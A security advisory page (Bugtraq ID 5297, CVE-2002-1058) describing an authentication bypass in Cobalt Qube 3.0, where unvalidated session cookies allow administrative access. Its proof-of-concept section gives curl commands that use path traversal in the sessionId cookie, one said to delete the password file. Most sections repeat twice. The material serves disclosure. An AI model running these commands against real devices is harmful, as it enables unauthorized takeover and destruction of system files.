Cobalt Qube Authentication Bypass Vulnerability
BID:5297
Info
Cobalt Qube Authentication Bypass Vulnerability
| Bugtraq ID: | 5297 |
| Class: | Input Validation Error |
| CVE: |
CVE-2002-1058 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 24 2002 12:00AM |
| Updated: | Jul 11 2009 02:56PM |
| Credit: | Discovery credited to pokley <[email protected]>. |
| Vulnerable: |
Cobalt Qube 3.0 |
| Not Vulnerable: | |
Discussion
Cobalt Qube Authentication Bypass Vulnerability
A vulnerability has been reported for Cobalt Qube that may allow an attacker to bypass the authentication mechanism and obtain administrative privileges.
The vulnerability occurs because of a weak authentication mechanism with Cobalt Qube appliances. The authentication mechanism fails to properly validate the input supplied in the client cookie. Thus it is possible for an attacker to refer to a file on the filesystem as that containing the session key. This vulnerability may be exploited by remote attackers to obtain administrative privileges on the device.
A vulnerability has been reported for Cobalt Qube that may allow an attacker to bypass the authentication mechanism and obtain administrative privileges.
The vulnerability occurs because of a weak authentication mechanism with Cobalt Qube appliances. The authentication mechanism fails to properly validate the input supplied in the client cookie. Thus it is possible for an attacker to refer to a file on the filesystem as that containing the session key. This vulnerability may be exploited by remote attackers to obtain administrative privileges on the device.
Exploit / POC
Cobalt Qube Authentication Bypass Vulnerability
The following proof of concepts were provided by pokley <[email protected]>:
$curl -b sessionId=../../../../../../../../etc/passwd\;loginName=root:x:0:0:root:/root:/bin/bash
http://192.168.0.1:444/splashAdmin.php
This will allow the attacker to delete the password file.
The following will enable the attacker to obtain administrative credentials on the vulnerable system.
$curl -b sessionId=../codb/objects/4/.name\;loginName=admin
http://192.168.0.1:444/splashAdmin.php
$ curl -b sessionId=/../../../../../../tmp/test\;loginName=admin
http://192.168.0.1:444/splashAdmin.php
The following proof of concepts were provided by pokley <[email protected]>:
$curl -b sessionId=../../../../../../../../etc/passwd\;loginName=root:x:0:0:root:/root:/bin/bash
http://192.168.0.1:444/splashAdmin.php
This will allow the attacker to delete the password file.
The following will enable the attacker to obtain administrative credentials on the vulnerable system.
$curl -b sessionId=../codb/objects/4/.name\;loginName=admin
http://192.168.0.1:444/splashAdmin.php
$ curl -b sessionId=/../../../../../../tmp/test\;loginName=admin
http://192.168.0.1:444/splashAdmin.php
Solution / Fix
Cobalt Qube Authentication Bypass Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.